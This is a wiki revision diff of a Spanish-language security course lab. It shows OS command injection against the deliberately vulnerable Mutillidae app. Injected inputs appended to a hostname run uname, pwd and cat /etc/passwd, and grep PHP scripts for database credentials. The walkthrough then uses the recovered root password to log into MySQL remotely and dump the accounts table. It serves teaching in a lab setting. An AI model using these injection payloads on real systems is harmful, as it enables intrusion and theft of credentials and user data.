Herramientas de usuario

Herramientas del sitio


sad:fedora14:p2

Diferencias

Muestra las diferencias entre dos versiones de la página.

Enlace a la vista de comparación

Ambos lados, revisión anterior Revisión previa
Próxima revisión
Revisión previa
sad:fedora14:p2 [2018/01/13 23:17]
José Manuel Guallar
sad:fedora14:p2 [2019/01/04 13:18] (actual)
Línea 1: Línea 1:
 **¿Qué es Inyección de Comando?** **¿Qué es Inyección de Comando?**
  
-La Inyección de comandos ocurre cuando un atacante puede ejecutar comandos del sistema operativo o scripts en el servidor desde la aplicación web. Esta potencial ​de vulnerabilidad se produce cuando una aplicación web le permite hacer comúnmente ​un nslookup, whois, ping, traceroute y más desde su página web. Se puede probar la vulnerabilidad utilizando una técnica llamada fuzzing, donde un ";"​ o "​|"​ o "​||"​ o "&"​ o "&&"​ se agrega al final de la entrada esperada (p. ej., www.google.com) seguido de un comando (p. ej., cat / etc / passwd). \\+La Inyección de comandos ocurre cuando un atacante puede ejecutar comandos del sistema operativo o scripts en el servidor desde la aplicación web. Esta potencial ​ vulnerabilidad se produce cuando una aplicación web le permite hacer un nslookup, whois, ping, traceroute y más desde nuestra ​página web. 
 + 
 +Se puede probar la vulnerabilidad utilizando una técnica llamada fuzzing, donde un ";"​ o "​|"​ o "​||"​ o "&"​ o "&&"​ se agrega al final de la entrada esperada (p. ej., www.google.com) seguido de un comando (p. ej., cat / etc / passwd). \\
 ** **
 ¿Qué es Fuzzing?** ¿Qué es Fuzzing?**
  
-La prueba de fuzz o fuzzing es una técnica de prueba de software que implica proporcionar datos no válidos, inesperados o aleatorios a las entradas de un programa de ordenador. Luego, se monitorea el programa en busca de excepciones tales como bloqueos o fallos en las aserciones de código incorporadas o para encontrar posibles pérdidas de memoria. Fuzzing se usa comúnmente para probar problemas de seguridad en software o sistemas informáticos.+La prueba de fuzz o fuzzing es una técnica de prueba de software que implica proporcionar datos no válidos, inesperados o aleatorios a las entradas de un programa de ordenador. ​
  
 +Luego, se monitorea el programa en busca de excepciones tales como bloqueos o fallos en las aserciones de código incorporadas o para encontrar posibles pérdidas de memoria. Fuzzing se usa comúnmente para probar problemas de seguridad en software o sistemas informáticos.
  
 **practica requisito** **practica requisito**
  
-Instalar Mutillidae en Fedora 14 +  * Instalar Mutillidae en Fedora 14 
-Instalación de BackTrack 5 R1+  ​* ​Instalación de BackTrack 5 R1
  
 **Notas de la practica** **Notas de la practica**
Línea 22: Línea 25:
   * Codificación de PHP Script para ver los contenidos   * Codificación de PHP Script para ver los contenidos
   * Conexión remota a la base de datos   * Conexión remota a la base de datos
 +
 +Lo primero de todo voy a ver que ip tiene cada uno de los equipos con los que voy a trabajar, tanto el Fedora como el Backtrack ​
 +
 +{{:​sad:​fedora:​p2:​01.png?​500|}}
 +
 +Posteriormente arraco el servicio mysql en el sistema Fedora con la sentencia
 +
 +<code bash>
 +[root@fedora14 estudiante]#​ service mysqld start
 +</​code>​
 +
 +{{:​sad:​fedora:​p2:​02.png?​500|}}
 +
 +voy al Backtrack y escribo en el navegador ​ http://​ip-fedora/​mutillidae
 +
 +{{:​sad:​fedora:​p2:​03.png?​500|}}
 +
 +Vamos a ver como funciona DNS Lookup
 +
 +Tenemos que ir a la solapa OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup
 +
 +{{:​sad:​fedora:​p2:​index.13.jpg?​500|}}
 +
 +El DNS lookup está diseñada para hacer exactamente eso... proporciona una búsqueda de DNS.
 +
 +{{:​sad:​fedora:​p2:​04.png?​500|}}
 +
 +Ahora vamos a probar una vulnerabilidad de seguridad que nos permitirá agregar un comando de Linux al final del nombre de host que estamos buscando.
 +
 +El procedimiento de agregar un ";"​ después de lo que la aplicación espera, se llama comando fuzzing.
 +
 +A continuación,​ ejecutará el comando "​**uname -a**", que si esto funciona, nos daria el nombre del host (fedora14) y la version del sistema operativo
 +
 +<code bash>
 +www.colegiomontessori.com;​uname -a
 +</​code>​
 +
 +{{:​sad:​fedora:​p2:​05.png?​500|}}
 +
 +====== ​ Realizar Reconocimiento ======
 +
 +Si vemos que nos da la versión del sistema operativo, ¿No crees que sería bueno saber dónde se está ejecutando la aplicación de la página web en particular?
 +
 +Ahora ejecutamos "​pwd"​ para mostrarnos el directorio de trabajo actual.
 +
 +Además, observa en la barra de direcciones que la aplicación se llama dns-lookup.php
 +
 +entonces ejecutamos
 +<code bash>
 + ​www.colegiomontessori.com;​ pwd
 +</​code>​
 +{{:​sad:​fedora:​p2:​06.png?​500|}}
 +
 +====== Interrogar la aplicación dns-lookup.php ======
 +
 +
 +Solo por observar, veamos si podemos encontrar la línea de código donde PHP está ejecutando una llamada al sistema.
 +
 +Usaré el comando xargs para buscar, egrep, para seguir las cadenas: exec O system O virtual.
 +
 +<code bash>
 +www.colegiomontessori.com;​ find /​var/​www/​html/​mutillidae -name "​dns-lookup.php"​ | xargs egrep '​(exec|system|virtual)'​
 +</​code>​
 +
 +{{:​sad:​fedora:​p2:​07.png?​500|}}
 +
 +Encontramos que hay una función que esta llamando a shell_exec() que actualmente es´ta ejecutando el comando de Linux nslookup
 +
 +Ahora vamos a descubrir la Base de Datos usando el fichero **/​etc/​passwd
 +**
 +Vamos a buscar en /etc/passwd algunas de las siguientes palabras
 +
 +**postgres, sql, db2 y ora**
 +  ​
 +para eso escribirmos :
 +
 +<code bash>
 +www.colegiomontessori.com;​ cat /etc/passwd | egrep -i '​(postgres|sql|db2|ora)'​
 +</​code>​
 +
 +LOL LOL LOL nos dice que mysql es la base de datos que están usando
 +
 +{{:​sad:​fedora:​p2:​08.png?​500|}}
 +
 +Vamos a descubrir cual es el motor de base de datos que se esta usando con el comando "​ps"​
 +
 +Usemos el comando "​ps"​ para buscar las siguientes procesos: postgres, sql, db2 y ora.
 +
 +<code bash>
 +www.colegiomontessori.com;​ ps -eaf | egrep -i '​(postgres|sql|db2|ora)'​
 +</​code>​
 +
 +El mysqld (daemon) se está ejecutando.
 +
 +{{:​sad:​fedora:​p2:​09.png?​500|}}
 +
 +====== Listar todos los scripts de php ======
 +
 +
 +Nuestro siguiente paso es tratar de averiguar si alguno de los scripts php ubicados en /​var/​www/​html/​mutillidae contiene un nombre de usuario y contraseña de la base de datos. ​
 +
 +Pero, primero enumera todos los scripts php.
 +
 +<code bash>
 +www.colegiomontessori.com;​ find /​var/​www/​html/​mutillidae -name "​*.php"​
 +</​code>​
 +
 +{{:​sad:​fedora:​p2:​10.png?​500|}}
 +
 +podemos ver una multitud de scripts para interrogar
 +
 +Buscar scripts php para la contraseña de cadena
 +
 +Ahora buscamos en los más de 900 scripts en PHP la palabra "​contraseña"​ y "​="​.
 +
 +<code bash>
 +www.colegiomontessori.com;​ find /​var/​www/​html/​mutillidae -name "​*.php"​ | xargs grep -i "​password"​ | grep "​="​
 +</​code>​
 +
 +y observamos la respuesta 8-om(8-o
 +
 +{{:​sad:​fedora:​p2:​11.png?​500|}}
 +
 +y observamos que el fichero ** MySQLHandler.php** contiene la siguiente cadena:
 +
 +<code mysql>
 +$mMySQLDatabasePassword = "​samurai";​
 +</​code>​
 +{{:​sad:​fedora:​p2:​12.png?​500|}}
 +
 +Hemos hecho parte del trabajo, porque ahora tenemos la contraseña "​samurai",​ que está en el fichero MYSQLHandler.php ​ pero no sabemos el usuario que utiliza esa contraseña,​ por lo que  vamos a buscar en MySQLHandler.php las palabras usuario (user) o login
 +
 +<code bash>
 +www.colegiomontessori.com;​ find /​var/​www/​html/​mutillidae -name "​MySQLHandler.php"​ | xargs egrep -i '​(user|login)'​ | grep "​="​
 +</​code>​
 +
 +{{:​sad:​fedora:​p2:​13.png?​500|}}
 +
 +Nos da mucha información,​ por un lado nos dice que el usuario es root y por otro lado como php se conecta y autentifica con MySQL, eso lo podemos ver en las lisneas $this->​mMySQLConnection _...
 +
 +**Mostrar MySQLHandler.php**
 +
 +Creo que podría haberte mostrado esto primero, pero las cosas buenas llegan a los que esperan.
 +
 +Es posible visualizar los contenidos del programa** MySQLHandler.php**,​ codificando las etiquetas "<? Php" y "?>"​. Estas etiquetas le dicen a Apache que ejecute un script php. 
 +
 +Para evitar este problema y simplemente mostrar el texto del programa, cambiamos "<"​ a "& # 60;" y ">"​ a "& # 62;".
 +<code bash>
 +www.colegiomontessor.com;​ find /​var/​www/​html/​mutillidae -name "​MySQLHandler.php"​ | xargs cat | sed '​s/</​\&#​60;/​g'​ | sed '​s/>/​\&#​62;/​g'​
 +</​code>​
 +
 +{{:​sad:​fedora:​p2:​14.png?​500|}}
 +
 +Aqui sacamos mucha mucha información LOLLOL por un lado "​root"​ el usuario de la base de datos, por otro lado "​samurai"​ la contraseña de la base de datos y por ultimo "​nowasp"​ el nombre de la base de datos
 +
 +<code mysql>
 +    static public $mMySQLDatabaseUsername = "​root";​
 +
 +    static public $mMySQLDatabasePassword = "​samurai";​
 +
 +    static public $mMySQLDatabaseName = "​nowasp";​
 +</​code>​
 +
 +Ahora podemos ir al terminal de nuestro **Backtrack**
 +
 +<code bash>
 +root@bt:~# mysql -h 192.168.153.39 -uroot -psamurai
 +mysql> show databases;
 +mysql> use nowasp;
 +</​code>​
 +{{:​sad:​fedora:​p2:​15.png?​500|}}
 +
 +====== A nevegar por la tablas ======
 +
 +
 +Basicamente vamos a mirar que tablas contienen información del usuario y de la contraseña
 +
 +{{:​sad:​fedora:​p2:​16.png?​500|}}
 +
 +<code mysql>
 +mysql> select * from accounts;
 +mysql> quit;
 +</​code>​
 +
 +{{:​sad:​fedora:​p2:​17.png?​500|}}
 +
 +
 +**''​Print de pantalla a entregar''​**
 +
 +<code bash>
 +root@bt:~# cd
 +root@bt:~# mysql -h 192.168.153.39 -uroot -psamurai -e "​select * from nowasp.accounts"​ > account.txt
 +root@bt:~# ls -l account.txt
 +root@bt:~# date
 +root@bt:~# echo "Tu nombre"​
 +</​code>​
 +
 +
 +
sad/fedora14/p2.1515885421.txt.gz · Última modificación: 2019/01/04 13:18 (editor externo)